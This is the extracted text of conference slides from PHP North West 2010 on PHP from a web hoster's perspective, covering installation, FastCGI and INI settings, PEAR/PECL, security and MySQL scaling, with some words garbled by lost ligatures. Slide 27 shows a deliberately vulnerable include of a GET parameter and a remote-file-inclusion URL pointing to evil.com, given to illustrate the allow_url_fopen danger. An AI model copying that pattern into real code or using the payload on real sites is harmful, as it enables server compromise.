Php through the eyes of a hoster: slides for PHP North West 2010 Conference @ Manchester UK

1. PHP through the eyes of a hoster
Thijs Feryn
Support manager
+32 (0)9 218 79 06
thijs@combellgroup.com
PHP North West Conference
Sunday October 10th 2010
Manchester UK

2. About me
I’m the support manager at Combell

3. About me
I’m a board member at PHPBenelux

4. About me
Modest contribuTons to:

5. I live in the wonderful city of Bruges
MPBecker ‐ Bruges by Night hXp://www.flickr.com/photos/galverson2/3715965933

6. Follow me on TwiXer: @ThijsFeryn
Rate my talk: hXp://joind.in/2064
Read my blog: hXp://blog.feryn.eu

9. Chapter I : The hoster, a genuine stakeholder in the
PHP universe

10. Stakeholders
Customer Development company
Endusers MGMT Devs MGMT Design PM
Internal Internal
IT PM Sales QA Systeam Consultants
Hoster PHP community

11. Stakeholders
Somewhere along the road ...
Your app needs to be hosted

12. Goals & moTves
Our goals & moTves are the same as yours:
• It has to work
• It has to perform
• It has to scale
• It has to be secure
• It has to be available

16. Chapter II: InstallaTon & configuraTon

17. Installing from source
server$ ./configure ‐‐prefix=/usr/local/php‐5.2.10
‐‐with‐apxs2=/usr/local/httpd‐2.2.12/bin/apxs ‐‐
with‐zlib ‐‐with‐curl ‐‐with‐gd ‐‐enable‐mbstring
‐‐with‐mysql ‐‐with‐mysqli ‐‐enable‐pcntl ‐‐with‐
pdo‐mysql ‐‐with‐readline ‐‐enable‐soap ‐‐with‐xsl
‐‐with‐mcrypt ‐‐with‐mssql ‐‐with‐snmp ‐‐with‐imap
‐‐with‐kerberos ‐‐with‐imap‐ssl ‐‐with‐config‐
file‐path=/etc/php5/ ‐‐enable‐sockets ‐‐with‐
freetype‐dir ‐‐with‐openssl
server$ make
server$ make install

18. Installing using a package manager (APT/ApTtude)
Install PHP:
server$ apt‐get install php5
Install MySQL library for PHP:
server$ apt‐get install php5‐mysql

19. SAPI ... schmapi
Mod_php FastCGI CLI
Web Apache module gateway ‐
Process Apache process php‐cgi php
ConfiguraTon Apache conf files wrapper on the fly
shell user or
User Apache user shell user
suexec user

20. FastCGI
Example config:
• Apache handler
<IfModule mod_fcgid.c>
SuexecUserGroup dev dev
PHP_Fix_Pathinfo_Enable 1
<Directory /var/www/dev/www/>
Options +ExecCGI
AllowOverride All
AddHandler fcgid‐script .php
FCGIWrapper /var/www/dev/etc/fcgi.wrapper .php
Order allow,deny
Allow from all
</Directory>
</IfModule>

21. FastCGI
Example config:
• Wrapper script
#!/bin/sh
PHPRC=/usr/local/php‐5.3.1/etc
export PHPRC
export PHP_FCGI_MAX_REQUESTS=5000
export PHP_FCGI_CHILDREN=8
exec /usr/local/php‐5.3.1/bin/php‐cgi

22. INI seings: tales of good & evil

23. INI seings: tales of good & evil
Defining INI seings:
• Php.ini
• Ini_set()
• “‐d”
• php_value
• php_flag
• php_admin_value
• php_admin_flag

24. INI seings: tales of good & evil
Memory_limit:
Fatal error: Allowed memory size of 16777216
bytes exhausted (tried to allocate 35 bytes)

26. INI seings: tales of good & evil
Safe_mode & Open_basedir:
<IfModule mod_php5.c>
php_admin_flag engine on
php_admin_flag safe_mode off
php_admin_value open_basedir "/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>

27. INI seings: tales of good & evil
Allow_url_fopen:
<?php
$lang= $_GET['lang'];
require("$lang.php");
http://domain.ext/index.php?lang=http://evil.com/hack.txt?

28. Chapter III: Versions & features

29. PHP 4: End of life, but far from dead

30. PHP 4: End of life, but far from dead
Parse error: syntax error, unexpected T_STRING,
expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR
or '}' in test.php on line 4

31. Developers love bling bling

32. It HAS to be PHP 5.3.2 !!!

33. I need ALL PHP extension !!!

34. I use ALL PHP features !!!

35. Fruit & vegetables: PEAR & PECL

36. Fruit & vegetables: PEAR & PECL
PEAR
PHP Extension and ApplicaTon Repository (h#p//pear.php.net)
server$ lynx ‐source http://pear.php.net/go‐pear | php
server$ pear install date

37. Fruit & vegetables: PEAR & PECL
PECL (pickle)
PHP Extension Community Library (h#p//pecl.php.net)
server$ pecl install pecl_http

38. External frameworks
Popular frameworks outside the PHP project

39. Chapter IV: PHP aXracts a crowd

40. It’s easy !

41. That easy !
<?php
echo "Hello world!";

42. It’s cheap !

43. It’s stable !

44. Everyone can be a PHP developer

45. But not everyone has what it takes

46. Luckily there’s a lot ready‐to‐use PHP sooware out there

47. Who you gonna call ?

48. But when helpers need help ...

49. They reach out to the PHP community
User Group meeTngs
TwiXer Blogs
Forums
PHP.net
IRC Conferences

50. Chapter V: Here be phpirates

51. Here be phpirates

52. Fact
“The majority of hacking/absue cases are PHP related”

53. False assumpTons
“Open source is evil”
“PHP has lots of security vulnerabiliTes and is not mature”

54. Here be phpirates
The real issues
• Quality of the code
• Network & server security
• PHP version & configuraTon

55. ResponsibiliTes

56. Chapter VI: Scalability

57. Performance == speed

58. Scalability == constant speed under increasing load

59. Scaling up

60. Scaling out

61. Developers (some2mes) forget ...

62. Scaling MySQL

63. mysql> explain SELECT field1, (SELECT COUNT(*) FROM table2 WHERE field3 =
table1.id) FROM table1 WHERE field2 = 1 ORDER BY field4 DESC limit
12,12;
*************************** 1. row ***************************
id: 1
select_type: PRIMARY
table: table1
type: ALL
possible_keys: approved
key: approved
key_len: NULL
ref: NULL
rows: 3143
Extra: Using where; Using filesort
*************************** 2. row ***************************
id: 2
select_type: DEPENDENT SUBQUERY
table: table2
type: ALL
possible_keys: NULL
key: NULL
key_len: NULL
ref: NULL
rows: 1005
Extra: Using where

64. mysql> show processlist;
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Id | User | Host | db | Command | Time | State | Info
|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 63515 | root | localhost | db | Query | 0 | NULL | show
processlist |
| 81763 | root | localhost | db | Sleep | 105 | | NULL
|
| 85187 | root | localhost | db | Query | 0 | Sending data | SELECT
data from someTable where field = 'val' |
| 82701 | root | localhost | db | Query | 0 | Copying to tmp table | SELECT
data from someTable where field='val2' |
| 82709 | root | localhost | db | Query | 0 | Sorting result | SELECT
data from someTable where order by field |
| 82716 | root | localhost | db | Query | 0 | Opening tables | SELECT
data from someOtherTable |
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

65. Scaling MySQL with replicaTon

66. PHP scalability toolbox

68. Memcached

69. Gearman

70. Varnish

71. Summary

72. Summary
1.Hosters are a genuine stakeholder in the PHP universe
2.PHP is highly flexible & configurable. Hosters have to ensure a decent
setup
3.PHP has a lot to offer feature‐wise
4.PHP aXracts a crowd and brings a lot of people together from
different industries (e.g. hosters)
5.Lots of abuse cases are PHP related, but that’s not the fault of PHP
itself
6.PHP itself doesn’t scale *that* well, but is flexible enough to ensure
scalability via extra tools

73. Q&A